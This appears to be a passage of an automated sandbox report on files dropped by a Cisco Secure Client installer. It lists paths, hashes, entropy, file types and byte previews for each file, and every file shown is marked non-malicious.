Preview:	;;; acsock64.inf..;;;..;;; Cisco Secure Client Kernel Driver Framework Socket Layer Interceptor..;;;..;;; Copyright (c) 2004-2021 Cisco Systems, Inc. ..;;;..;;; Abstract:..;;; Callout sample driver install configuration...;;;....[Version]..signature = "$Windows NT$"..Provider = %Cisco%..DriverVer = 06/14/2023,5.0.04021.0..Class = CiscoNetworkFilter..ClassGuid = {729021b6-d014-47b0-8a6a-d2c45f77af4f} ..CatalogFile = acsock64.cat....[SourceDisksNames]..1 = %DiskId1%,,,....[SourceDisksFiles.amd64]..acsock64.sys = 1,,....[DestinationDirs]..DefaultDestDir = 12..Inspect.DriverFiles = 12 ;%windir%\system32\drivers....;..; Copy Files..;....[Inspect.DriverFiles]..acsock64.sys,,,0x00000004 ; COPYFLG_NOVERSIONCHECK....;;..;; Default install sections..;;....[DefaultInstall.ntamd64]..OptionDesc = %InspectServiceDesc%..CopyFiles = Inspect.DriverFiles....[DefaultInstall.ntamd64.Services]..AddService = %InspectServiceName%,,Inspect.Service.

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K8IRC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2392680
Entropy (8bit):	6.658300142387931
Encrypted:	false
SSDEEP:	49152:dFtYsvJwGcAhLrE0o5r+1mP/4qkxhDzMkfUg8Ul6:dFTNrEvmDzMkfP85
MD5:	208BC604DF1E3C9FF524C9AD9066E552
SHA1:	DC76F03E1A6851A8610FCA6A73EFCA567ADA84CB
SHA-256:	025635A4E805DA1241F752FE664C766B745C7F70DE070DC4AC87875D249150C5
SHA-512:	4A95407898D6EA16ED96208B9B94825091CA9E554A278654D71009AE04C695FEF3745BA3FF2DFFD5FF1C76DC62C58522300F0FD903F52F0A3E4F68DA5CE23892
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......t..0...0...0...9.w.$.......8...b...4...b...:...b...9...$...2.......2...b...,...e...4...$...-...0.......$...1..............1.......1...0.s.1.......1...Rich0...........PE..L.....d...........!.........d................................................$.......$...@A........................pm..D1....!......."..B...........:$.hH...."......D..T...................@E......`D..@............................................text...Z........................... ..`.rdata..............................@..@.data.........!.......!.............@....rsrc....B...."..D...n".............@..@.reloc........".......".............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K9DFT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	491624
Entropy (8bit):	6.495709095629098
Encrypted:	false
SSDEEP:	6144:8UBgEIe9ncUGQljr+1x87dfK8k9rqXsPNcJESSFCejFp:rFyUIP8Hk9rpcJEmev
MD5:	CE72AE5437229CC4EAB1FCE6C2B10555
SHA1:	46177D24E1CC592FB31F3B9A88F7A4CCF5B4D742
SHA-256:	24C42AD6CC70A169AFE6232E87E94BB4DC7ADC64A1C58A2A7565D28171E1AED0
SHA-512:	282751765E46AC037E13E4FA0DFC34ECF8D5FD08B7358775E55F44D91B4267A38B3345095C180DDDCCBADFD6645D05744F1E3109BAF84678125A51D6DE6A1955
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........*U.K;..K;..K;..3...K;..>?..K;..>8..K;..>:..K;..>>..K;.n>:..K;.. :..K;..>:..K;..K:..J;.n>2..K;.n>..K;..K...K;.n>9..K;.Rich.K;.........................PE..L...B..d............................`.............@.................................n9....@.................................H...T....................8..hH... ...W..x...T...............................@............................................text............................... ..`.rdata...$.......&..................@..@.data....5.......&..................@....rsrc...............................@..@.reloc...W... ...X..................@..B................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-KC1BF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1006184
Entropy (8bit):	5.97738342017222
Encrypted:	false
SSDEEP:	12288:9/9IZHQOBWLxPXdwWeKHI0+DPwYZC3Yeba96ga8nXNBZK/8id:9V2HQO6PqtPwJ3Yijg/dB0Ei
MD5:	744D2DC7CA442E065AC4F23C6A7B9E5F
SHA1:	0039BE9938086F925F321EC8B2FD4D008F600C1A
SHA-256:	4E9E9F15FFBFC9729F4BC561D8670214A86822D682F49A2B286BB798FD59B549
SHA-512:	918009B74EAF5CD932E7BFE1CBD65425917D8CFCDB32B6A10FF2DD44A894E06DA77544522B72F77880D1ADD9961DB0A3401CC20242976E241499F65899E76826
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.j....X...X...X...Y...X...Y...X...Y...XI..Y...XI..Y...XI..YK..X...Y...X...X...X...Y...X...X...X...X...X...Y...XRich...X........................PE..L.....d.....................F......P.............@..........................`......>.....@.................................@........P..P...............hH.......Q...w..T...................@y......Hx..@............................................text............................... ..`.rdata...!......."..................@..@.data....)... ......................@....rsrc...P....P......................@..@.reloc...Q.......R..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LO7QV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54176
Entropy (8bit):	6.343089804418659
Encrypted:	false
SSDEEP:	1536:/eDOHgIUkjxLqAW2ltHbfvFSzNhQxVBqv5jJwPB2M:2KHgIUkjxLqAW2l5vFSzNiqv51m
MD5:	98B8845F3554BAD1329541D54EADD3F0
SHA1:	FDB21CC76F860AB39D265A01846C81A707078BBB
SHA-256:	506AB485FE0DA85C6DF6D0B7ABBAD412ACA6A8EB3F575DFC2C81662107054792
SHA-512:	12D14D027679FE76820148D51A9B8AEAF5D024C5D49A85238B2D70780D05F046EEAB1F7A7EC8E50EE64851E3D9033443FF64E01FBCA35AE1AE56E5D09F4BB8D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y=MA8S.A8S.A8S.USR.D8S.A8R.l8S.USP.E8S.USW.D8S..M[.D8S..M..@8S..MQ.@8S.RichA8S.................PE..d......a.........."............................@....................................#M....`a................................................\|...<.......H................!...... .......T..............................................x............................text...bu.......v.................. ..h.rdata..\|............z..............@..H.data...............................@....pdata..............................@..HPAGE................................ ..`INIT................................ ..b.rsrc...H...........................@..B.reloc.. ...........................@..B................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LU7CG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	359016
Entropy (8bit):	6.617093568333673
Encrypted:	false
SSDEEP:	6144:qSg72Vz/I7DPaCd+syv/RDdb4UP1LdmBIuITM2CswQuY5LpwUm:qSg6VzWPaXsyv5NLdfn7Rm
MD5:	44DE330562CC79CCF0D73FA8B99D369C
SHA1:	B0256E51EC29F6E42A24FA12F23086E5CAC0B8D1
SHA-256:	53C2E4F4D092C14F418D619DCADBFA0A6ED589492844C2AB2EEE504061600429
SHA-512:	CE8439B558DF0E14B1DBEFD9D34DD089F3FDDA90B9409446228B6F47C5F68A75020C8822790ABF43E75EC8598AD35354877F169E58A775EE19E17693136D8634
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................=...........................................V.................Q.....9..........Rich...........PE..L......d...........!................@X.......................................p......Z<....@A.........................`..\...\a.......................2..hH......,W......T...............................@............................................text.............................. ..`.rdata..............................@..@.data....-.......*..................@....rsrc...............................@..@.reloc..,W.......X..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-M1NCB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	660072
Entropy (8bit):	6.659866758160457
Encrypted:	false
SSDEEP:	6144:kSCossJt+kPCULOLT5xylm6hSCX+JGvP755x+RpUG1m3A0KmklXz0OH9IYW4U+1M:kbAJDOLT5po+kPARgA0KmuXz0OH9H3Ov
MD5:	5E4035EF3C0EEC7E49035F5DCD6054FF
SHA1:	633A4E83FF976CF041B65B7B6B1B54C697DAB0F5
SHA-256:	31F4F3D3A3F1E1761417FD9792B4151CD8C2724F2B83AD2C51C3E9A0D4D19BE4
SHA-512:	A0BA4A69A7D0EEDACC1F25361A69CA7D73CFC893632C1033858ED08BA2DEEED00592972BCB1FF6D075AFE5E8B64291F47A3E0FF6346CC3228A6C989DF10D857E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Rj...............sQ.....D~......D~......D~......D~.......~......b..<....`......C~..............~..-....~.......~=.......U......~......Rich....................PE..L......d...........!......................................................................@A............................<...,...T....p..................hH......L{...z..T...................@\|......H{..@...............0............................text............................... ..`.rdata...K.......L..................@..@.data...@....P.......<..............@....rsrc........p.......F..............@..@.reloc..L{.......\|...N..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-MJ3RA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	562280
Entropy (8bit):	5.250676972668652
Encrypted:	false
SSDEEP:	12288:E51t8uFDD2edf0sC3Yeba96ga8nXNBZeph17:O12uR2ec3Yijg/dB4ph17
MD5:	A942F7085CF6E0584943727A7B804342
SHA1:	C79F5A2946400942F75BB6D05A853D4018ED7419
SHA-256:	AB1ABBFB3F0AD6A0E16F8FC94F485C67A8AB002A5C05549CF676E4D701E26FF0
SHA-512:	69D42640785AA0B4FABBADD894A92643B4D32BC6FB404B0CCC0B056D8413ABD3684D81BED43D10CED24620BF26A749B4F87A557916F987501986DCA9980C0F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.Dz=.)=.)=.)).)(6.))./(..))..(/.)o..(,.)o.)(,.)o./(..)..+(9.)).+(6.)=.+)..)..#(8.)...)<.)=..)<.)..((<.)Rich=.*)................PE..L......d.....................P......0 ....... ....@.......................................@............................................x............L..hH..............T...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-N867I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411752
Entropy (8bit):	6.881611330499658
Encrypted:	false
SSDEEP:	6144:0IPmqpO6R1WKsOcYY0HUxBufpzBJJJ8mdjIIIIX1Emy9uQ1jjj6eSPfp:DPN4g1oOcc0xGO6hlvPh
MD5:	0B1C614353D5012752C02F5425C1B0DD
SHA1:	1197BA2379472A303187FEA328EF79F5C6B66E46
SHA-256:	804B953D07F40A09958547947D871B06DE54D34774CA13671AF583C24114D8A2
SHA-512:	280C219212850D9EAD379D7F8223003F1DF1B180BCC27334BC2FBA27232312CA135212AA8E902B912F3265156B210017087A9D698028AF26E529E17D053425E0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9:.3}[.`}[.`}[.`t#x`s[.`/..a.[.`/..aq[.`/..aw[.`/..ax[.`i0.a{[.`(..a~[.`}[.`.[.`}[.`p[.`(..a.[.`(..a\|[.`(..a\|[.`Rich}[.`................PE..L.....Od...........!................ ........................................P............@A............................x...X...........................hH... ...#......T...............................@............................................text....}.......~.................. ..`fipstx...n.......p.................. ..`.rdata...(.......*..................@..@.data........0......................@...fipsro..`]...P...^... ..............@..@fipsda...............~..............@...fsig................................@..@fipsrd...M.......N..................@..@.reloc...#... ...$..................@..B................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O6HT8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	486504
Entropy (8bit):	6.862184684725985
Encrypted:	false
SSDEEP:	12288:cxog6V56WiNYPTL0x+/OB7hiCM/JFJQtqx:cxo/V56WiyPhe7kCM/fJQt0
MD5:	B5206EC55DD02AA88783189589F72953
SHA1:	F8180A92BEFAF78EED660435425B1B0B97BFA730
SHA-256:	F6F22F6C9A31CB561E69D5D5892EAA4A44A51FCF36AB27841A00AA07E33ABD68
SHA-512:	4A117F579A3BABBB7C6CF8072671E1363BEB63869030A2D0B376BBEFA448F88CC2CAED6F17026A5AB34A8E3E9B3EEF80DD8BD2441FAAF70D13F917DDA9FB8BAB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......&.b...b...b...k.E.t.....+.f...0...h...0...d...0...{...0...f......d...v...j.......\|...7...a...b.........n......c....).c...b.A.c......c...Richb...........................PE..L......d...........!.........N......P........................................`.......,....@A.........................}..x............................$..hH.......R..PL..T....................M.......L..@...............l............................text............................... ..`.rdata..............................@..@.data...x...........................@....rsrc...............................@..@.reloc...R.......T..................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O7USL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37992
Entropy (8bit):	6.96957396675789
Encrypted:	false
SSDEEP:	768:kkB1x1cnnFDRhUtUMquc51DGV5ENAMxD26DGVkDAMxkEjb:x1LcnFFWRvcnxD3jxvb
MD5:	D10B79B1F82E60C76CB92B91DB45D3AB
SHA1:	19739B47088E76EDB8724D19A66BF4416C96CCED
SHA-256:	F9F4B8E1C40557F06A5426A83D3423C57E75EE02938392984D478F155F13BDFC
SHA-512:	4A337B08446DA741844436268B971ED83ADA00FE0A184D9C228382565F0B694C185D6BECBF7350EFC2363813F3E0EDC77F7D5C70CBB436CC58C103C8E782F844
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D..f..f..f......f...+..f.../..f......f...)..f...+..f..f+..f.../..f.....f...(..f.Rich.f.........PE..L.....^...........!.....&...".......,.......@......................................V.....@..........................L..L...LN..x....p...............L..hH......t...0C.......................C......PC..@............@...............................text....%.......&.................. ..`.rdata.......@.....................@..@.data........`.......@..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O8UOD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21384
Entropy (8bit):	6.470094803230791
Encrypted:	false
SSDEEP:	384:Y32E5mpdhYQjHy3d5Wcs5gWI3KLHRN7QiUJ/AlGstm4s:YmxQSyUyAQX/xEv
MD5:	C946A9E4170F6B16D25C822DA616DC6A
SHA1:	F602D23DB756F9C3A058D3B7186D24480E05790F
SHA-256:	65BDADB5562B9473471740B1DCD8B064459A40D71A1A11FC5AEDAA855FE7635A
SHA-512:	916CAD8B1E38B2B15AB836844C5CC9D36B212831B2F553198054FE9CB5CD77AECD544CAC8040000337CEFDA9B15BF95E8903F36A9C1BEB7D579CFFF670445617
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(D.vl%.%l%.%l%.%.U.$n%.%e]/%h%.%>P.$f%.%>P.$m%.%l%.%D%.%>P.$i%.%>P.$x%.%>P.$m%.%>PC%m%.%>P.$m%.%Richl%.%........................PE..L...J\|.a.........."!.........................0...............................p......#,....@A.........................*..J....@..x....P...............0...#...`..t...X...8...............................@............@...............................text...J........................... ..`.data...8....0....... ..............@....idata.......@......."..............@..@.rsrc........P.......(..............@..@.reloc..t....`.......,..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-ORN2N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	556
Entropy (8bit):	4.645067217480077
Encrypted:	false
SSDEEP:	12:VKYMF1IXH5EkqfXMF1ITOLKvXwCPijecTygdLe3f8ytWHtO+PGb:iF1a6AF1owBlPkNtWNa
MD5:	A54C8C0CFD88CFE16115DCFF322A637A
SHA1:	DFD99A331FE511542CEE60731DE1F603AB11C3AD
SHA-256:	50695A74F95C74DE1888A94F9BB0DC19E0237500DDD2352D56E4A17F30324AF5
SHA-512:	BDB7E36EBE6F0A9A1F2662C89B4F253A7F354C7A5F2596EE3C52247CA25AF9A6F14B75D432B68DFACFB3611533A0E88648D5F7F3E72099AAFCA4BFA833029AAD
Malicious:	false
Preview:	<html>.. <head>.. <title>Open Source Used In Cisco AnyConnect Secure Mobility Client</title>.. </head>.. <body>.. <h1>Open Source Used In Cisco AnyConnect Secure Mobility Client</h1>.. <br/>.. <h3>Please refer to <a href="https://www.cisco.com/go/opensource">Open Source in Cisco Products</a> for the latest information on the open source used in Cisco AnyConnect Secure Mobility Client.</h3>.. <br/>.. <p><font size="2">©2023 Cisco Systems, Inc. All rights reserved.</font></p>.. </body>..</html>

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-PS1DU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97384
Entropy (8bit):	6.671284905085064
Encrypted:	false
SSDEEP:	1536:uqA5yIFN6BM8oAb7KgcvteBM53LZLux2ZXcpXNmzoPd0y+oo49FxyrPxTq:05yIFIM8pbeteBMXNZXI0y+oo4P
MD5:	7E67C939282B7893B1FC6624F7BE497E
SHA1:	E38043283573321310A9028EDAA4CC5E79C0B033
SHA-256:	5263F59556A66F4837D866BDD3C81D4D552811DDF554F76AB64902D3A5486D8E
SHA-512:	014DE12B5EAE20091F99256C381272B3323284FD5D8014E740FE3FA4C27B9F7449AE29D91E196BE3FE7E903B887B6BE03889B7A7F8312640AF5228C33B15063A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................1.................................._..........._......_......_......Rich...........................PE..L.....^...........!.........n...............................................p......iU....@.................................X$.......@...............4..hH...P......p.......................0...........@...............P............................text...k........................... ..`.rdata..DM.......N..................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P....... ..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-Q67GI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865320
Entropy (8bit):	6.970258455602142
Encrypted:	false
SSDEEP:	49152:cN4UkzzVwcS5/h2m7tPpbO8in1CPwDv3uFbvYdkYuj:cNb/h26XbO8K1CPwDv3uFbv3
MD5:	401E2AAFE861E1BBCC04EEED82868DBF
SHA1:	D4ADD73521989319137E731485CE64DC370AAFE6
SHA-256:	09EF0662458A6B07BC5B063576981CACF74E7E7B3FD355FF6EF49395A8D95183
SHA-512:	891731F36B327E2B33AC31C39E869D8FE4CB4A7B289F3183857A0671C5DACA700552A5EAF29A07AC537330B57A0C45DC27DDE8AA5B7AC33C9F8A6F8E9B1EE968
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........],.<B..<B..<B..D..<B..IC..<B..IG..<B..IF..<B..IA..<B..WC..<B..<C.'<B..<B..<B..IF..>B..IB..<B..I...<B..I@..<B.Rich.<B.........................PE..L.....Od...........!......................................................................@A........................@^......XH..T.......................hH......\|....Y..T...........................`Y..@............................................text...8........................... ..`.rdata..bf.......h..................@..@.data....N...`.......H..............@....rsrc................^..............@..@.reloc..\|............d..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-QC4EE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	96872
Entropy (8bit):	6.7074578724573355
Encrypted:	false
SSDEEP:	1536:khfMwC52VJJ1NkaqH1d+VvzNRqubyXCsMAvJxMnYTxB:wfRVJJ1NkaqHP+fRqpXCsMAvIy
MD5:	4A99D4199F25191F921F0EA08948FAED
SHA1:	C1EEDF728A46CCD4FE0897FAAC3B859941AAB81D
SHA-256:	3F78B54296FF87AEF6F0FCAC9DDFF1AD93A336AC4336D2C43CD57BEEA0E22065
SHA-512:	85753CE8051EFCB5F278A722CC34F1362EF0DA1AEE494D455EC8EDEF09FE81591A3D6EFF19D623C5B743E3CAE887DC5786805EBA527333CDAFC078A0A4291335
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E....{..{..{...~..{.S...{.S...{.S...{.S...{.....{.....{..{.{.....{......{..{z..{.....{.Rich.{.................PE..L.....d.....................\|......p.............@..........................`......il....@..........................................@...............2..hH...P......8...T...............................@............................................text.............................. ..`.rdata...R.......T..................@..@.data...D....0......................@....rsrc........@......................@..@.reloc.......P......."..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-RJSOM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449128
Entropy (8bit):	6.524987350757864
Encrypted:	false
SSDEEP:	12288:H42omt0CD5eYwFZ6depVyQ7YAf1ZMGnz8J4N4OTW8kd6ghNu99hO5nxjOE6ARsMp:LqN4//sHTTHx4KtsutnLlEa2
MD5:	5608F2FEEEC9519ABC4C45AD6156F224
SHA1:	55B1E59342A3F0011714E146A0FFDB52CDE267DD
SHA-256:	3DEC5D47533E9DCCAF3F851DE4D37E289407CB9064CD1F32ADD08D2ABFAB75D4
SHA-512:	FF605F0F7EC45BE82696D1FAB43D74C59991AFC692C61674CA7317DF1C9953EE25D65AC94910D856EB98E6D48C280D8298C54C09BA2346B9A1959E9071ECF717
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-..~..~..~..]~...~......~......~......~......~......~......~..~...~......~......~..1~..~......~Rich..~........................PE..L.....Od...........!................p.....................................................@A.............................;..l........p..................hH.......;......T...............................@...............X............................text.............................. ..`.rdata.............................@..@.data...l....P.......6..............@....rsrc........p.......P..............@..@.reloc...;.......<...V..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-SIM93.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	3233
Entropy (8bit):	5.341509881686345
Encrypted:	false
SSDEEP:	96:wYNZ3JpdhH+0dhH2EnEqZUmogaRvmL3dZMdr:wYH3JpdhH+0dhH/EqZUmoP+dZMdr
MD5:	0187FF566D704C12A49E4FBCE5E00C45
SHA1:	84BB1CECDD38FD203D2EE9691902C3FCCBDED366
SHA-256:	9EFBDCAD9BCD5A9B81AEA9B4643AD13799844117D8F41AA86882F808603037A2
SHA-512:	5C69EED3D00807A5ED8CB17981B23B50A4152E9044883DBB875011709C359CED146A83F740F0158E05C9C7ECE9AC52F5F9B15DE6128EE352A2424A7639708426
Malicious:	false
Preview:	; vpnva-6.inf..;..; Cisco AnyConnect Virtual Miniport Adapter for Windows Setup File..;..; (c) Copyright 2004-2021 Cisco Systems, Inc.....[version]..Signature = "$Windows NT$"..Class = Net..ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318}..Provider = %Cisco%..CatalogFile = vpnva-6.cat..DriverVer = 12/14/2021,4.10.05040.0....[Manufacturer]..%CISCO%..= Cisco, NTamd64....[ControlFlags]..ExcludeFromSelect = ....[Cisco]..%vpnva.DeviceDesc% = Cisco.ndi.NTx86, vpnva....[Cisco.NTamd64]..%vpnva.DeviceDesc64% = Cisco.ndi.NTamd64, vpnva....[Cisco.ndi.NTx86]..Characteristics = 0x01 ; NCF_VIRTUAL..;BusType not required because this is not NCF_PHYSICAL..IfType = 6 ; IF_TYPE_ETHERNET_CSMACD..MediaType = 0 ; NdisMedium802_3..PhysicalMediaType = 0 ; NdisPhysicalMediumUnspecified..AddReg...= Cisco.reg..CopyFiles..= Cisco.CopyFiles....[Cisco.ndi.NTamd64]..Characteristics = 0x01 ; NCF_VIRTUAL..;BusType not required because this is not NC

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T3UDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	525928
Entropy (8bit):	6.663689707982956
Encrypted:	false
SSDEEP:	6144:8zNdH+68U6BXsQex0xCC5pQEhRL/21VVirhVVVPlLIOqyRcCGlhl48MBAuh:WNxQBXsQ0K5pXPLeriPlLIOqpdvlo
MD5:	4CE708F0420389B058B7F2D74561A2C3
SHA1:	9ABCCDEB744DFFD374DF72117CC47C7D18EEF506
SHA-256:	382B6CD7055A36DECCAD2839EC47BFD49B1C4077EE5DFC9CB07C829A4CAAABBE
SHA-512:	53A0BC22C6772CB46DBB1CBE6BE2079AB620845CD0CB49FB4AFE7D8DC861D38351A4CE7226ADCCE70180F65AB112701F55F91AA438B018D6C370A4244FB943ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............f]..f]..f]...]..f]..]..f].b\..f].e\..f].g\..f].c\..f]p.g\..f].g\..f]..g\..f]..g]~.f]p.o\..f]p.f\..f]p..]..f]...]..f]p.d\..f]Rich..f]................PE..L......d...........!.........@......................................................N.....@A............................0............@...B..............hH......._...u..T...................@v......`u..@............................................text............................... ..`.rdata..............................@..@.data........ ......................@....rsrc....B...@...D..................@..@.reloc..._.......`...^..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T40JR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	436600
Entropy (8bit):	6.647435576141042
Encrypted:	false
SSDEEP:	12288:/gO0BGzePo6+J+4P0xYv7IQgnhUgiW6QR7t5s03Ooc8dHkC2esKcWKe0:701Po6+J+dxYv7IQgk03Ooc8dHkC2ezc
MD5:	8FF1898897F3F4391803C7253366A87B
SHA1:	9BDBEED8F75A892B6B630EF9E634667F4C620FA0
SHA-256:	51398691FEEF7AE0A876B523AEC47C4A06D9A1EE62F1A0AEE27DE6D6191C68AD
SHA-512:	CB071AD55BEAA541B5BAF1F7D5E145F2C26FBEE53E535E8C31B8F2B8DF4BF7723F7BEF214B670B2C3DE57A4A75711DD204A940A2158939AD72F551E32DA7AB03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.. 4.os4.os4.os..nr6.os=..s".os4.ns..osf.nr7.osf.kr?.osf.lr<.osf.jr..osf.or5.osf.s5.osf.mr5.osRich4.os........................PE..L...>\|.a.........."!.........~...............0............................................@A.........................T......<c..........................x#.......6...W..8............................W..@............`..8............................text...b........................... ..`.data...L(...0......................@....idata.......`.......2..............@..@.rsrc................J..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-ULT5V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4467816
Entropy (8bit):	6.598146073323608
Encrypted:	false
